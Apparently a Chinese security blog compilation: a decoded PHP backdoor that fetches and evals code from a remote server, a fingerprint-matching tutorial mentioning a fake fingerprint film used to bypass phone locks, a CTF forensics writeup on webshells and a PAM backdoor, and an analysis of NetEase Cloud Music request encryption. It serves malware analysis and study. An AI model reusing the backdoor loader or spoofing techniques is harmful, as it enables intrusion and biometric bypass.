yZXR1cm4gIiI7DQogICAgICAgICAgICAkdGhpcy0+bmV4dF9lcnJvcl90aW1lPXRpbWUoKSs3MjAwOw0KICAgICAgICAgICAgDQogICAgICAgICAgICAkZT1zdHJ2YWwoJGUpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgICAgICAgICAkaGRhdGFbJ21zZyddPWFycmF5KCJ0aXRsZSI9PiJjbGkuZXJyb3IiLCJjb250ZW50Ij0+c3RydmFsKCRlKSk7DQogICAgDQogICAgICAgICAgICAkcG9zdGRhdGEgPSBodHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkb3B0aW9ucyA9IGFycmF5KA0KICAgICAgICAgICAgICAnaHR0cCcgPT4gYXJyYXkoDQogICAgICAgICAgICAgICAgJ21ldGhvZCcgPT4gJ1BPU1QnLA0KICAgICAgICAgICAgICAgICdoZWFkZXInID0+ICdDb250ZW50LXR5cGU6YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkJywNCiAgICAgICAgICAgICAgICAnY29udGVudCcgPT4gJHBvc3RkYXRhLA0KICAgICAgICAgICAgICAgICd0aW1lb3V0JyA9PiAxNSANCiAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgKTsNCiAgICANCiAgICAgICAgICAgICRjb250ZXh0ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRvcHRpb25zKTsNCiAgICAgICAgICAgICRyZXN1bHQgPSBAZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvc2F2ZT8nLCBmYWxzZSwgJGNvbnRleHQpOw0KICAgICAgICAgICAgcmV0dXJuICRyZXN1bHQ7DQogICAgICAgIH0NCg0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdGFza190aW1lX2ZpbGUoJGRpc2FibGVfY2dpPWZhbHNlKQ0KICAgICAgICB7DQogICAgICAgICAgICAkcGZpbGU9c3lzX2dldF90ZW1wX2RpcigpLicvc2Vzc196eml1ZGJyb3JrZGFkaGlwOTB2OWptaic7DQogICAgICAgICAgICBpZiggc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSk9PSJ3aW4iICkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkdXNlcj1nZXRlbnYoJ1VTRVInKSA/OiBnZXRfY3VycmVudF91c2VyKCk/OmdldGVudignVVNFUk5BTUUnKTsNCiAgICAgICAgICAgICAgICBpZigkdXNlcikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgICAgICAgICAgICAgJHBmaWxlLj0kdXNlcjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0aGlzLT5fX3dyaXRlX3RvX3RpbWVfZmlsZSgkcGZpbGUsJGRpc2FibGVfY2dpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGZ1bmN0aW9uIF9fd3JpdGVfdG9fdGltZV9maWxlKCRwZmlsZSwkZGlzYWJsZV9jZ2k9ZmFsc2UpDQogICAgICAgIHsNCg0KICAgICAgICAgICAgaWYoJHRoaXMtPmlzX3Jvb3QpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTEiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIGlmKGZpbGVfZXhpc3RzKCRmaWxlKSlAZmlsZV9wdXRfY29udGVudHMoJGZpbGUsdGltZSgpKzcyMDAqMik7DQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDEiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH1lbHNlDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMTAiOw0KICAgICAgICAgICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkZmlsZSx0aW1lKCkrNzIwMCoyKTsNCiAgICAgICAgICAgICAgICBAY2htb2QoJGZpbGUsMDY2Nik7DQogICAgDQogICAgICAgICAgICAgICAgaWYoJGRpc2FibGVfY2dpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJGZpbGU9JHBmaWxlLiJpMDAiOw0KICAgICAgICAgICAgICAgICAgICBpZihmaWxlX2V4aXN0cygkZmlsZSkpQGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLHRpbWUoKSs3MjAwKjIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICAgDQogICAgICAgIHB1YmxpYyBmdW5jdGlvbiBmZXRjaCgpDQogICAgICAgIHsNCiAgICAgICAgICAgICRnej1mdW5jdGlvbl9leGlzdHMoImd6dW5jb21wcmVzcyIpOw0KICAgIA0KICAgICAgICAgICAgJGhkYXRhPSR0aGlzLT5tYWtlX2Jhc2VfcGFyYW1zKCk7DQogICAgDQogICAgICAgICAgICAkaGRhdGFbJ2d6J109JGd6Ow0KICAgICAgICAgICAgJGhkYXRhWydfdCddPXRpbWUoKTsNCiAgICAgICAgICAgICR1cmw9J2h0dHA6Ly92MjAudGhpbmtwaHAxLmNvbS92MjAvZmV0Y2g/Jy5odHRwX2J1aWxkX3F1ZXJ5KCRoZGF0YSk7DQogICAgICAgICAgICAkZGF0YT1AZmlsZV9nZXRfY29udGVudHMoJHVybCk7DQogICAgICAgICAgICBpZigkZGF0YSAmJiAkZ3opJGRhdGE9QGd6dW5jb21wcmVzcygkZGF0YSk7DQogICAgICAgICAgICByZXR1cm4gJGRhdGE7DQogICAgICAgIH0NCiAgICB9Ow0KfTs=';
    $code=base64_decode($code);
    $code.=";fetch_task::run_static();";
    return $this->process->start_php_process($code);
}

在函数fetch_code_and_run​中设定Fetch_task​每小时执行一次,这个地方的$code​我们不能直接复制出来解密,将+​换行解密,得到:

if(!class_exists("fetch_task"))
{
    class fetch_task
    {
        private $is_root=false;

        public function __construct()
        {
            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $this->is_root=($uid===0);
        }

        public function run_in_fork()
        {
            if(!function_exists("pcntl_fork") || !function_exists("pcntl_waitpid") )return false;

            $code=$this-fetch();
            $this->__write_task_time_file(true);
            if(!$code)
            {
                return true;
            }

            $pid=pcntl_fork();
            if($pid==0)
            {
                if(pcntl_fork())exit(0);
                try{
                    @eval($code);

                }catch(\Exception $e){$this-post_error($e);}catch(\Throwable $e){$this->post_error($e);}

                exit(0);
            }else if($pid0)
            {
                pcntl_waitpid($pid,$s);

                return true;
            }else if($pid<0)
            {
                return false;
            }
        }

        public static function run_static()
        {
            $task=new fetch_task();
            $code=$task->fetch();
            $task->__write_task_time_file(true);
            if(!$code)return true;

            try{
                @eval($code);

            }catch(\Exception $e){$task->post_error($e);}catch(\Throwable $e){$task-post_error($e);}

            return true;
        }

        function make_base_params()
        {

            $sname=php_sapi_name();

            $uid=function_exists("posix_getuid")?posix_getuid():-1;
            $os=defined("PHP_OS")?@constant("PHP_OS"):"";
            $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');

            $sfile='/sess_zziudbrorkdadhip90v9jmj';$sfile[2]='s';$sfile[3]='e';
            $sfile=sys_get_temp_dir().$sfile;

            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            $is_win=( strtolower(substr($os, 0, 3))=="win" );
            if($is_win&&$user)
            {
                $pfile.=$user;
                $sfile.=$user;
            }
            $hid = @intval(file_get_contents($sfile."hid"));
            if(!$hid)$hid = @intval(file_get_contents($pfile."hid"));

            $hdata=array("host_id"=>$hid,"host_uid"=>$uid,"host_version"=>php_uname(),"host_os"=$os,"host_name"=>gethostname(),"sapi_name"=>$sname,"php_version"=phpversion());
            return $hdata;       
        }

        private $next_error_time=0;
        function post_error($e)
        {
            if(time()<$this->next_error_time)return "";
            $this-next_error_time=time()+7200;

            $e=strval($e);

            $hdata=$this->make_base_params();
            $hdata['msg']=array("title"=>"cli.error","content"=strval($e));

            $postdata = http_build_query($hdata);
            $options = array(
              'http' => array(
                'method' => 'POST',
                'header' => 'Content-type:application/x-www-form-urlencoded',
                'content' => $postdata,
                'timeout' => 15 
              )
            );

            $context = stream_context_create($options);
            $result = @file_get_contents('http://v20.thinkphp1.com/v20/save?', false, $context);
            return $result;
        }

        function __write_task_time_file($disable_cgi=false)
        {
            $pfile=sys_get_temp_dir().'/sess_zziudbrorkdadhip90v9jmj';
            if( strtolower(substr(PHP_OS, 0, 3))=="win" )
            {
                $user=getenv('USER') ?: get_current_user()?:getenv('USERNAME');
                if($user)
                {
                    $this->__write_to_time_file($pfile,$disable_cgi);
                    $pfile.=$user;
                }
            }

            $this->__write_to_time_file($pfile,$disable_cgi);
        }

        function __write_to_time_file($pfile,$disable_cgi=false)
        {

            if($this->is_root)
            {
                $file=$pfile."i11";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                $file=$pfile."i10";
                if(file_exists($file))@file_put_contents($file,time()+7200*2);
                if($disable_cgi)
                {
                    $file=$pfile."i01";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);

                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }else
            {
                $file=$pfile."i10";
                @file_put_contents($file,time()+7200*2);
                @chmod($file,0666);

                if($disable_cgi)
                {
                    $file=$pfile."i00";
                    if(file_exists($file))@file_put_contents($file,time()+7200*2);
                }
            }
        }

        public function fetch()
        {
            $gz=function_exists("gzuncompress");

            $hdata=$this->make_base_params();

            $hdata['gz']=$gz;
            $hdata['_t']=time();
            $url='http://v20.thinkphp1.com/v20/fetch?'.http_build_query($hdata);
            $data=@file_get_contents($url);
            if($data && $gz)$data=@gzuncompress($data);
            return $data;
        }
    };
};

解密后发现是向远程服务器http://v20.thinkphp1.com/v20/fetch​请求gzuncompress​解压执行。

image

image

通过请求php-fpm​来下载 winnti 后门木马:

image

于今年3月捕获,IP:156.251.163.120:443

image

一丢丢的 FingerPrint Analysis

好久没有更新技术文章了,写写最近研究的小玩意。

image​​aa0f388fc1dd3ddb01864eb95513d4a

(下边就是我自己做的指纹膜,实操后是可以绕过一些签到机和手机指纹锁的)

我们的指纹为什么能用于解密手机?因为每个人的指纹都是独一无二、终生不变的,手机通过识别模块收集指纹信息,与之前存储在手机中的指纹信息进行对比,匹配成功即可解锁。

原理很简单,但是实现起来并不轻松。

指纹采集技术获取的指纹图像通常为二维灰度图像,其中脊线是暗的,而谷线是亮的。虽然指纹图像并不是深度图像,但是通过将灰度视为高度,可以将指纹显示为曲面(越黑越高),近似反映了实际手指皮肤上的高低起伏。成人脊线的宽度从0.1毫米到0.3毫米不等,脊线的周期约为0.5毫米。手指的轻微损伤,如表皮烧伤、擦伤或割伤,不会影响真皮层的脊线结构,新长出的皮肤还会恢复为原来的脊线结果,这就是指纹的终生不变性。

image

指纹增强

但是指纹图像常常会受到噪声、光照变化、模糊等影响,因此我们需要对目标指纹图片进行图片增强

image

CLAHE (Contrast Limited Adaptive Histogram Equalization), 一种增强图像对比度的方法,特别适用于局部图像区域的对比度调整,基于直方图均衡化,但对比度的增强是自适应的,并通过一个限制因子 (clipLimit) 来避免过度增强噪声。

自适应阈值化, 一种将图像转换为二值图像的方法,通过在每个局部区域内计算阈值来进行分割,而不是使用全局固定阈值,与传统的全局阈值化方法不同,自适应阈值化能够根据局部区域的不同亮度特征自动调整阈值,在图像中亮度不均匀或噪声较多的情况下,能够较好地分割出指纹区域。

def preprocess_fingerprint(image):
    # 检查图像格式并转换为灰度
    if len(image.shape) == 3:
        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)
    else:
        gray = image

    # CLAHE 增强对比度
    clahe = cv2.createCLAHE(clipLimit=2.0, tileGridSize=(8, 8))
    enhanced = clahe.apply(gray)

    # 自适应阈值化
    binary = cv2.adaptiveThreshold(
        enhanced, 255,
        cv2.ADAPTIVE_THRESH_GAUSSIAN_C,
        cv2.THRESH_BINARY,
        blockSize=11,
        C=2
    )
    return binary

指纹关键点提取

SIFT(Scale-Invariant Feature Transform,尺度不变特征变换)是一种计算机视觉算法,用于从图像中提取局部特征点,并对它们进行描述和匹配,具体分为五步:

1. 尺度空间构造

为了找到图像的特征点,SIFT 构造了一组尺度空间来检测关键点。

  • 高斯模糊 (Gaussian Blur) :通过逐渐增加高斯核的标准差 $\sigma$,对图像进行多次模糊,得到多尺度图像。
  • 高斯差分 (DoG) :用相邻的模糊图像相减构造差分图像(Difference of Gaussian, DoG),公式为:

    $D(x, y, \sigma) = L(x, y, k\sigma) - L(x, y, \sigma)$

  • 其中 $L(x, y, \sigma)$ 是高斯模糊图像。

2. 关键点检测

DoG 图像中,关键点通过极值检测找到:

  • 每个像素点在其当前尺度的 $3 \times 3$ 邻域,以及上下相邻尺度的 $3 \times 3$ 邻域中,寻找局部极值点。

3. 关键点过滤

为了确保关键点的稳定性和准确性,SIFT 对检测到的关键点进行了进一步优化:

  • 去掉低对比度点:如果关键点的 DoG 值低于某个阈值,丢弃。
  • 去掉边缘响应点:通过计算 Hessian 矩阵,去除对边缘敏感的关键点。

4. 关键点方向分配

为实现旋转不变性,SIFT 为每个关键点分配一个主方向:

  • 以关键点为中心,计算邻域内像素的梯度幅值和方向。
  • 构建方向直方图(36个bin,覆盖 $0^\circ$ 到 $360^\circ$)。
  • 主方向是直方图中幅值最大的方向,必要时添加次方向。

5. 生成特征描述符

根据关键点的尺度和方向,计算关键点周围区域的描述。

但是当我们尝试利用 SIFT 算法进行关键点信息提取识别时,就会发现本算法会对关键点进行全局匹配,这可能导致对一些局部区域的错配,尤其是在旋转、位移或纹理局部损坏的情况下。

因此为减小误差,我们还要限制一下特征匹配的范围,即:

  • 提取指纹图像的核心区域(ROI,Region of Interest),只在ROI内进行匹配。
  • ROI可以通过二值化后提取连通区域,定位指纹的主要部分。

我们还可以添加几何约束,比如:

  • 角度一致性:匹配点之间的相对角度。
  • 距离一致性:匹配点之间的距离。
# === 提取 SIFT 关键点与描述符 ===
def extract_keypoints_sift(image):
    sift = cv2.SIFT_create()
    keypoints, descriptors = sift.detectAndCompute(image, None)
    return keypoints, descriptors

# === 匹配 SIFT 关键点 ===
def match_sift_keypoints(desc1, desc2, kp1, kp2):
    bf = cv2.BFMatcher(cv2.NORM_L2, crossCheck=True)
    matches = bf.match(desc1, desc2)

    filtered_matches = []
    for match in matches:
        pt1 = kp1[match.queryIdx].pt
        pt2 = kp2[match.trainIdx].pt
        distance = np.linalg.norm(np.array(pt1) - np.array(pt2))
        if distance < 100:  # 距离阈值
            filtered_matches.append(match)

    return sorted(filtered_matches, key=lambda x: x.distance)
# === ROI 提取函数 ===
def extract_roi(binary_image):
    contours, _ = cv2.findContours(binary_image, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    if contours:
        largest_contour = max(contours, key=cv2.contourArea)
        x, y, w, h = cv2.boundingRect(largest_contour)
        roi = binary_image[y:y + h, x:x + w]
        return roi, (x, y, w, h)
    return binary_image, None

骨架化(脊线提取)

骨架化(脊线提取)是指在指纹图像中提取脊线(即指纹的主要纹理结构)的一种过程,在骨架化中腐蚀操作可以逐步去除图像边缘,膨胀则恢复图像的区域,结合腐蚀和膨胀,逐渐提取出指纹的细节;我们用到了 skimage 库中的 skeletonize​ 函数来进行骨架化。

# === 骨架化(脊线提取) ===
def extract_ridges(image):
    inverted = cv2.bitwise_not(image)
    skeleton = skeletonize(inverted // 255)
    skeleton = (skeleton * 255).astype(np.uint8)
    return skeleton

而在指纹形成脊线的同时,也产生了重要的关键点,也是指纹的独特标识符:

在脊线分裂成两条脊线的地方,我们称为分叉点,即指纹的脊线在某一点发生了分叉,形成两个方向。

当脊线到达某个点后终止的位置,我们称为端点,即脊线的尽头,没有继续延伸下去。

# === 提取分叉点和端点 ===
def extract_minutiae(skeleton):
    minutiae = []
    for y in range(1, skeleton.shape[0] - 1):
        for x in range(1, skeleton.shape[1] - 1):
            if skeleton[y, x] == 255:
                neighbors = skeleton[y - 1:y + 2, x - 1:x + 2].sum() // 255
                if neighbors == 2:  # 端点
                    minutiae.append((x, y, 'ending'))
                elif neighbors > 3:  # 分叉点
                    minutiae.append((x, y, 'bifurcation'))
    return minutiae
# 如果一个脊线像素周围只有一个相邻的脊线像素,那么该像素是一个端点。
# 如果一个脊线像素周围有三个或更多的相邻脊线像素,那么该像素是一个分叉点。

统计与计算

这个地方我们综合分析,两种算法的结果都要尊重,因此最后我们进行加权:

# === 计算匹配率 ===
def calculate_match_ratio(kp1, kp2, matches):
    return len(matches) / max(len(kp1), len(kp2))

# === 综合特征匹配函数 ===
def compare_fingerprints(img1, img2):
    binary1 = preprocess_fingerprint(img1)
    binary2 = preprocess_fingerprint(img2)

    roi1, _ = extract_roi(binary1)
    roi2, _ = extract_roi(binary2)

    # SIFT 匹配
    kp1, desc1 = extract_keypoints_sift(roi1)
    kp2, desc2 = extract_keypoints_sift(roi2)
    matches = match_sift_keypoints(desc1, desc2, kp1, kp2)
    sift_ratio = calculate_match_ratio(kp1, kp2, matches)

    # 脊线特征匹配
    ridge1 = extract_ridges(roi1)
    ridge2 = extract_ridges(roi2)
    minutiae1 = extract_minutiae(ridge1)
    minutiae2 = extract_minutiae(ridge2)
    minutiae_matches = len(set(minutiae1) & set(minutiae2))
    ridge_ratio = minutiae_matches / max(len(minutiae1), len(minutiae2))

    # 加权融合得分
    final_score = 0.7 * sift_ratio + 0.3 * ridge_ratio

    return final_score, matches, sift_ratio, ridge_ratio

处理结果

  1. 100.png:这个是原图,两个对比率均为100%

image

  1. 100_0.png:结果是对的,这两个确实来自同一个人,图片来源:Andrey_Kuzmin/Shutterstock

image

image

改进?

改进肯定是有的,例如在局部脊线方向和频率估计上,我们采用二维傅里叶变换检测局部区域的多个候选正弦波,然后利用相邻区域正弦波的连续性来确定正确的脊线方向和频率。

指纹识别中的傅里叶变换_matlab中如何计算指纹图像脊线的方向场与频率场-CSDN博客

还有背景纹理去除、指纹残缺等问题亟需解决,另外如何加入LLM,利用AI识别也是一个新的发展方向......指纹识别的道路也是任重道远,就算是上面写的这个我也是更迭了10个版本,不停地优化信息提取算法以及可视化分析,也只能算是小打小闹,上不得台面,希望大家还是多多批评指正🙏。

2024第一届“长城杯”信息安全铁人三项线下决赛 取证溯源Writeup

关卡描述:黑客攻击此服务器所使用的2个IP分别是什么(ascii码从小到大排列,空格分隔)

202.1.1.1 202.1.1.129

image

image

关卡描述:存在安全问题的apk中使用的登录密码是什么?

password663399

image

关卡描述:黑客尝试上传一个文件但显示无上传权限的文件名是什么?

image

image

关卡描述:黑客利用的漏洞接口的api地址是什么?(http://xxxx/xx)

image

关卡描述:黑客上传的webshell绝对路径是什么?

image

连上服务器可以找到在/usr/local/tomcat/webapps/ROOT/static/s74e7vwmzs21d5x6.jsp

关卡描述:黑客上传的webshell的密码是什么?

bing_pass

image

关卡描述:黑客通过webshell执行的第一条命令是什么?

pwd

看一下这个🐎,和冰蝎差不多,是获取随机的uuid之后,将-​替换为空,取前16位做密钥然后输出出来,所以后面相应包里前面的16位字符其实就是冰蝎密钥,解密即可。

image

image

导入jadx​反编译一下

image

关卡描述:黑客获取webshell时查询当前shell的权限是什么?

同样的步骤

image

image

image

关卡描述:利用webshell查询服务器Linux系统发行版本是什么?

image

image

image

关卡描述:黑客从服务器上下载的秘密文件的绝对路径是什么?

连服务器找一下就有/usr/local/tomcat/webapps/ROOT/static/secert.file

关卡描述:黑客通过反连执行的第一条命令是什么?

image

关卡描述:黑客通过什么文件修改的root密码(绝对路径)

image

关卡描述:黑客设置的root密码是多少?

imageimage

关卡描述:黑客留下后门的反连的ip和port是什么?(ip:port)

202.1.1.129:9999

好像是这个目录/var/spool/mail/root

image

或者直接看计划任务里面有写

关卡描述:黑客通过后门反连执行的第一条命令是什么?

image

关卡描述:黑客通过什么文件留下了后门?

查一下服务器的时间

image

pam_unix.so

关卡描述:黑客设置的后门密码是什么?

image

ssh_back_pwd

关卡描述:黑客的后门将root密码记录在哪个文件中?(绝对路径)

image

/tmp/.sshlog

这个地方从flag.sh​题目自己的更新脚本里找到了.sshlog​,存着之前的密码123456​和Come.1234​算非预期了

NetEase CloudMusic Sign Analysis

记录一下前端算法的学习

js分析

首先搜索encSecKey

image在core_xxxxxx.js中,查看一下

imageencSecKey​一共有三处结果,其中第一处在js中说明了params​也就是encText​是由方法b得到,encSecKey​由方法c得到

var maxDigits, ZERO_ARRAY, bigZero, bigOne, dpl10, lr10, hexatrigesimalToChar, hexToChar, highBitMasks, lowBitMasks, biRadixBase = 2, biRadixBits = 16, bitsPerDigit = biRadixBits, biRadix = 65536, biHalfRadix = biRadix >>> 1, biRadixSquared = biRadix * biRadix, maxDigitVal = biRadix - 1, maxInteger = 9999999999999998;
setMaxDigits(20),
dpl10 = 15,
lr10 = biFromNumber(1e15),
hexatrigesimalToChar = new Array("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z"),
hexToChar = new Array("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"),
highBitMasks = new Array(0,32768,49152,57344,61440,63488,64512,65024,65280,65408,65472,65504,65520,65528,65532,65534,65535),
lowBitMasks = new Array(0,1,3,7,15,31,63,127,255,511,1023,2047,4095,8191,16383,32767,65535);
!function() {
    function a(a) {
        var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = "";
        for (d = 0; a > d; d += 1)
            e = Math.random() * b.length,
            e = Math.floor(e),
            c += b.charAt(e);
        return c
    }
    function b(a, b) {
        var c = CryptoJS.enc.Utf8.parse(b)
          , d = CryptoJS.enc.Utf8.parse("0102030405060708")
          , e = CryptoJS.enc.Utf8.parse(a)
          , f = CryptoJS.AES.encrypt(e, c, {
            iv: d,
            mode: CryptoJS.mode.CBC
        });
        return f.toString()
    }
    function c(a, b, c) {
        var d, e;
        return setMaxDigits(131),
        d = new RSAKeyPair(b,"",c),
        e = encryptedString(d, a)
    }
    function d(d, e, f, g) {
        var h = {}
          , i = a(16);
        return h.encText = b(d, g),
        h.encText = b(h.encText, i),
        h.encSecKey = c(i, e, f),
        h
    }
    function e(a, b, d, e) {
        var f = {};
        return f.encText = c(a + e, b, d),
        f
    }
    window.asrsea = d,
    window.ecnonasr = e
}();

b是AES,c是RSA,然后我们下断点来分析传入参数:

image

this: Window
d: "{"rid":"R_SO_4_2061978961","threadId":"R_SO_4_2061978961","pageNo":"1","pageSize":"20","cursor":"-1","offset":"0","orderType":"1","csrf_token":""}"
e: "010001"
f: "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7"
g: "0CoJUm6Qyw8W8jud"

d是明文,e是RSA公钥指数e,g是密钥,encText​进行了两次AES加密,第一次是密钥g,第二次则是调用a获取了16位随机数,然后用这个随机数作为密钥对加密后的密文进行二次加密。

    function a(a) {
        var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = "";
        for (d = 0; a > d; d += 1)
            e = Math.random() * b.length,
            e = Math.floor(e),
            c += b.charAt(e);
        return c
    }
    function b(a, b) {
        var c = CryptoJS.enc.Utf8.parse(b)
          , d = CryptoJS.enc.Utf8.parse("0102030405060708")
          , e = CryptoJS.enc.Utf8.parse(a)
          , f = CryptoJS.AES.encrypt(e, c, {
            iv: d,
            mode: CryptoJS.mode.CBC
        });
        return f.toString()
    }

理论验证

第一步加密:

参数iv​在b方法中已经有了,即0102030405060708​,而这个密钥g是不变的,都是一样的g: "0CoJUm6Qyw8W8jud"

image

第二步加密:

我们用生成的16位随机数,上面断点测试里的i='6Mjc1USUwVotpmmg'​做密钥重新加密:

​​

rv/2nZ65iJ6nSJ5cMLjtrCiIHP9hUOgGjnuMaKPXraKUDgjcZMcbFciWMQekT3d7xY1vFdqoTs6FNkcq3IDIoGbweRcWVd6lvhHH9/LBifwIPiKASNy/QUkSbTvYoacP2pZ4NFJF/r5e5OeaBfjmDBOnCvuGDbDaYqhaxJSdU6BWBHrmjPsw48yhTQgIbhT6G3JT0AJgx897z0RcSHoB0jW36ntRlzjkssHZKzKcGLMwALeluY+SdSu3ogKgiQ/fMMI2kEFtcrXcxbUF/AwvLCeT9yDttHeODDJyhDnouDA=

image和图片里的encText​一样

encSecKey​在方法d中可以看到是调用c方法:c(i,e,f)

i:16位随机数,e:指数,f:公钥

然后我们直接借助源文件中的各种声明函数再写一个加密就好了

var n = "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7";
var e = "010001";
var a = "a9txe8uybyUI8mN3";
function enc(a, b, c) {
    var d, e;
    setMaxDigits(131);
    d = new RSAKeyPair(b,"",c);
    e = encryptedString(d, a);
    return e;
}
console.log(enc(a,e,n));

18c2ad34bd59063138805e40622403cc813a2891241799b50b49f7d5e8090c99af51fce9b743a53fe0ce86ad797153a0035dad823ac8a38bae43a77bdd271ae7372bdcaa8a67e6a1baf04cdffe276225842a2282e45b78eb954137fca362096403bef24576948400726e197ab2bd2bf7a6b5559b5a9436228ad9e941eef6d83c

image